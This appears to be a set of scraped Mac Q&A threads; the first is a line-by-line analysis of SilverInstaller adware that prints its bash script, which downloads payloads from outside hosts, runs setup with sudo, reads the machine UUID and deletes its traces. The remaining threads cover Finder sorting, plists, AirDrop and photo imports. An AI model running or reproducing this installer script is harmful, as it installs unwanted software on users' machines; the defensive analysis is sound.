    sudo ./setup.sh "http://feed.snowbitt.com/?publisher=TingSyn&ts=sy&barcodeid=51222999&searchtype=hp&type=YHS_TGE_2712c1&_=tt1" "http://feed.snowbitt.com/?publisher=TingSyn&ts=sy&barcodeid=51222999&searchtype=nt&type=YHS_TGE_2712c1&_=tt1" "http://feed.snowbitt.com/?publisher=TingSyn&ts=sy&barcodeid=51222999&searchtype=ds&type=TGE_2712c1" "snowbitt" "upd" "http://i.firstinstallmac.club/c/cc?id="
fi

CLIENT_COMP=""
if [[ ! -z "$CLIENT_COMP" ]]; then
    /usr/bin/curl -s -L -o /var/tmp/re.txt "http://i.firstinstallmac.club/is/if?i="
fi

func_taaVqst(){
sleep 220
rm -rf /var/tmp/dvs
rm -rf /var/tmp/sr.tgz
}
func_taaVqst &

}
func_4 &

This is SilverInstaller, adware to download more adware and ‘potentially unwanted programs’. This was likely distributed through fake Flash popups, which someone on the system clicked on, downloaded, opened, installed and provided administrator credentials to.

Installed software in this package likely includes

  MacKeeper, VSearch, A Pirrit injector, BrowserEnhancer, MPlayer

all of which you most certainly don't want.

https://www.intego.com/mac-security-blog/silverinstaller-uses-new-techniques-to-install-puapup/
https://www.intego.com/mac-security-blog/silverinstaller-sneakier-than-previously-thought/

I'll break down the code

#!/bin/bash

This code is script to be interpreted by bash, noted by this shebang.

func_4(){

Begin a function declaration including body to be called later on.

/bin/mkdir -p /var/tmp

Make sure the tmp directory exists to be used for temporary storage of the malicious payloads later on.

/usr/bin/curl -s -L -o /var/tmp/sr.tgz "http://c.premiummac.com/static/sr/sr_v2.tgz"
/usr/bin/tar -xzf /var/tmp/sr.tgz -C /var/tmp
cd /var/tmp/dvs

Download and extract the first malicious payload. sr_v2.tgz is BrowserEnhancer. The payload contains a dvs directory.

mid=$(ioreg -rd1 -c IOPlatformExpertDevice | awk '/IOPlatformUUID/ { split($0, line, "\""); printf("%s\n", line[4]); }')

Get a unique identifier for this machine to be used later.

COUNTRY="CA"
if [ "$COUNTRY" == "AU" ] || [ "$COUNTRY" == "CA" ] || [ "$COUNTRY" == "US" ] || [ "$COUNTRY" == "NZ" ]\
  || [ "$COUNTRY" == "ES" ] || [ "$COUNTRY" == "IT" ] || [ "$COUNTRY" == "NL" ] || [ "$COUNTRY" == "FR" ] || [ "$COUNTRY" == "IN" ]\
  || [ "$COUNTRY" == "DE" ]; then

Try some region matching to decide what to do next. I say ‘try’ because this doesn't work when the region is hard-coded in the script.

    sudo ./setup.sh "http://www.searchitdown.com/?n=026&searchsource=55&UM=8&gd=SY1000653" "http://www.searchitdown.com/?n=026&searchsource=69&UM=8&gd=SY1000653" "http://www.searchitdown.com/Results.aspx?n=026&searchsource=58&UM=8&gd=SY1000653" "searchitdown" "upd" "http://i.firstinstallmac.club/c/cc?id="

Call to an external script with some more fancy adware domains.

else
    sudo ./setup.sh "http://feed.snowbitt.com/?publisher=TingSyn&ts=sy&barcodeid=51222999&searchtype=hp&type=YHS_TGE_2712c1&_=tt1" "http://feed.snowbitt.com/?publisher=TingSyn&ts=sy&barcodeid=51222999&searchtype=nt&type=YHS_TGE_2712c1&_=tt1" "http://feed.snowbitt.com/?publisher=TingSyn&ts=sy&barcodeid=51222999&searchtype=ds&type=TGE_2712c1" "snowbitt" "upd" "http://i.firstinstallmac.club/c/cc?id="
fi

This bit never gets executed as mentioned.

CLIENT_COMP=""
if [[ ! -z "$CLIENT_COMP" ]]; then
    /usr/bin/curl -s -L -o /var/tmp/re.txt "http://i.firstinstallmac.club/is/if?i="
fi

Grab another payload.

func_taaVqst(){
sleep 220
rm -rf /var/tmp/dvs
rm -rf /var/tmp/sr.tgz
}
func_taaVqst &

Clean up, removing the files created and dropped earlier in the script, after a delay given that the files would have been used by then.

}
func_4 &

Function all ready to go, time to call it.


Is there a way to change the order in which the finder alphabetizes? On Linux,on GitHub, in bash on iTerm2, and generally by convention most everywhere else, the following files would have the following order:
_01_file
_03_file
_2_file

In Mac® Finder, however, they have this order:
_01_file
_2_file
_03_file

Can this behavior be changed?  If so, how?
Likewise, is it possible to have directories appear at the top of a list of files in Finder, as is common in Nemo/Nautilus?
To be redundant:
$ ls
_01_file  _03_file  _2_file

and:

Re: Allan's comment:

is there an option somewhere else that can change ascii precedence?

Unfortunately, no.

Since Mac OS X 10.0 "Cheetah", when sorting items by filename in Finder, files are sorted using the Unicode Collation Algorithm, with an additional specification that numeric substrings are sorted by numeric value, i.e. if multiple files exist whose filenames are of the form xny, where x is a susbtring that does not end with a digit, n is a substring which only consists of digits, and y is a substring that does not begin with a digit, then each such n is treated as a numeric value rather than a sequence of bytes, and the files are sorted accordingly. There is no option to disable this "natural canonical sorting", as some refer to it. This is stated officially in Apple's File System Programming Guide for macOS (§ File System Details):

  The Finder

  Because the Finder is the user’s main access to the file system in macOS, it helps to understand a little about how the Finder presents and works with files.

  Filename Sorting Rules

  The Finder’s sort order for file and directory names is based on the Unicode Collation Algorithm (Technical Standard UTS #10) defined by the Unicode Consortium. That standard provides a complete and unambiguous sort ordering for all Unicode characters and is available on the Unicode Consortium website (http://www.unicode.org). The Finder alters the default sorting behavior of this algorithm slightly by taking advantage of some sanctioned alternatives, specifically:

  Punctuation and symbols are significant for sorting.
  Substrings of digits are sorted according to their numeric value, as opposed to sorting the actual characters in the number.
  Case is not considered during sorting.

Note that this behaviour is only exhibited by Finder itself. Other programs, such as the plain old BSD ls that comes packaged with macOS, behave in their own ways; typically, such BSD utilities abide by the Unix-style convention of sorting "lexicographically", i.e. by character encoding value.

As for sorting such that folders appear first, this can be done using the "Arrange/Group by Kind" option, but this then applies to other categories of files as well, not just folders. There is no way to sort a directory in Finder so that it is grouped into folders and non-folders.

As a workaround to both of these issues, you can use an alternative file browser such as Path Finder, which was partially designed to cater to these specific use cases.


Where are widget screen positions (coordinates) stored? I keep a widget open on my desktop on my secondary monitor. Went away on vacation. No external monitor. The widget was "trapped" offscreen and active.

I tried looking in the preferences file for that widget but only the preferences for the widget were stored, not any meta-preferences ABOUT the widget, in this case its X and Y coordinates on the screen. I was hoping the pref file would have that information and I could just reset to 0,0.

It seems like it must be stored somewhere as it keeps its position every time I boot. I just don't know where it is or where to look.

Does anyone know where this information may be stored?

Dashboard widget positions are stored in /Users/USERNAME/Library/Preferences/com.apple.dashboard.plist (where USERNAME is your username on your Mac) and can be accessed by using Xcode to edit or possibly even TextEdit. When you open the file, you're looking for the values under 'layer-gadgets' and then 'Item X' (where X is the widget's position number in the Dashboard layout). Just locate and change 'pos-x' and 'pos-y' for your widget.

Good luck!


Parsing folder for pairs with bash or AppleScript I edit RAW photos in Photoshop using Adobe Camera Raw. The way the edits work is any time I work on a picture, Photoshop creates a text file with the same name as the picture to which the edits were made. However, sometimes when I delete an image, or use it in a Photomerge, the XML file stays behind. Thus I now have  a folder with ~1100 RAW images (.NEF), ~1300 text files (.xmp) and a few photoshop files (.psd, .psb).

I would like to parse this folder, using either AppleScript or a bash command, and either mark or delete the .xmp files that do not have a companion RAW file. Logically, the code would be: for every .xmp file, check for a .NEF file with same name. If .NEF does not exist, delete or mark the .xmp file. If .NEF does exist, do nothing.

I am not familiar with AppleScript, and although I am familiar with ffmpeg, diskutil, and basic cd/ls and rsync commands in terminal, I have never attempted something like this and do not know where to start.

So, I was hoping someone on here could:

Help decide whether bash or AppleScript is more appropriate here AND
Help me write the sequence OR point me to some good resources where I could learn enough (either bash or AppleScript) to write the sequence myself.

In Terminal, change directory, e.g. cd /path/to/files, to the location of the target files and then use the following command to delete any .xmp file that doesn't have a corresponding .NEF file:

for f in *.xmp; do [[ ! -f ${f%.*}.NEF ]] && rm "$f"; done


What does it mean when it says "read" under an SMS in Messages? I have never seen the "read" tag before, however I have seen "delivered" and nothing. What does the "read" tag mean?

Delivered means that it's gotten to its destination. Read means that the user has actually opened the text in the Messages app.


Importing into Photos: Unable to get metadata I'm switching to using Photos and I'm trying to import all my old photos. I select them all in Finder and drag them into Photos, some import and for some I get the error "Unable to get metadata". However, if I individually select any of the files that gave an error and drag them in, they import without errors.

I still have several thousand to import and I don't want to have to find them individually and drag them in, any idea whats going on?

I managed to work around this issue/bug by dragging the photos from Finder into Photos manually in batches (e.g. 200 or 300 pictures at once).


Why can't an iPhone 6 and a mid-2011 MacBook Air see each other in AirDrop? I'm trying to transfer photos, for example, from an iPhone 6 running iOS 8.1.3 to a MacBook Air, mid-2011, running OS X 10.10.2.

In either of these scenarios:

iPhone set to be discoverable by Everyone
Finder open to AirDrop on the Mac
Select a photo on iPhone, select Share, the Mac does not appear in the AirDrop pane

or

iPhone set to be discoverable by Everyone
Pick a photo on the Mac, select Share, Airdrop, no devices appear in the Send via AirDrop dialog

I have successfully used AirDrop from this Mac to other Macs in the past. Any idea why it isn't working with my iPhone? (I should point out that other features of Yosemite, such as receiving phone calls and SMS from the iPhone on the Mac, are functioning properly.)

Your mac (and mine too) is not compatible with airdrop between mac and iOS

System Requirements
To see if your Mac works with AirDrop, make sure you’re in the Finder by clicking the desktop (the background area of your screen), or by clicking the Finder icon in the Dock. Then, check to see if AirDrop is listed as an option in the Go menu. If you don't see AirDrop listed, your Mac doesn't support this feature.
In order to transfer files between a Mac and and an iPhone, iPad or iPod touch

your iOS device needs to include a lightning connector
your iOS device needs iOS 7 or later installed
your Mac needs to be a 2012 or later model with OS X Yosemite
installed
Your Mac and iOS device both need bluetooth and Wi-Fi turned on. You
do not have to be connected to a specific Wi-Fi network

source:http://support.apple.com/en-is/HT203106


Trouble opening plist files in text editor From Finder, I can preview a plist file without any difficulties. For example, using Quick Look with ~/Library/Preferences/com.apple.Safari.RSS.plist I get a nice preview of its contents:

However, if I then try to open the file, either with TextEdit, or any other editor (I've tried SublimeText, TextMate, Vim, Nano, and Coda 2 so far), the encoding appears to be off:

bplist00Ò_"FixedRefreshesInBackgroundSettings_(com.apple.PreferenceSync.ExcludeSyncKeys ¡ 2]^����������������������������`

Here's what it looks like if I open it with TextEdit:

I've tried changing the encoding in Sublime Text and other apps, but that doesn't help.

Any thoughts?

I'm running 10.8.4.

plist files are not necessarily plain text so they need to be run through a converter. Finder and Xcode (which has a plist editor) do this without telling the user

The binary format is documented in this C code so any application can convert it and someone has written a format description in English and more Apple documentation here but note that it references old paths in /Developer/Documentation

The command line program plutil can convert to and from XML

e.g. to view a binary property list in XML format on stdout:

plutil -convert xml1 -o - <file name>

Also to convert a binary to a XML plist in place and then leave it so that the user program can read either.

plutil -convert xml1 <file name>


Will barometric data from my iPhone be used for a workout created on an Apple Watch without a barometer? If I take my iPhone on a run with an Apple Watch without GPS the workout app on the watch will use my iPhone's GPS data. Is that same true for barometric data now that the workout app uses the barometer on Apple Watch Series 3 devices?

Yes, it already works with watchOS 3 and iPhones with built-in barometers (iPhone 6, 6 Plus, 6s, 6s Plus, 7, 7 Plus, 8, 8 Plus, X) running iOS 10.x or newer.

Start an outdoor walk workout and walk uphill. Once you stop the workout you will see the elevation gain on the Apple Watch and in your iPhone's Activity.app.

Example: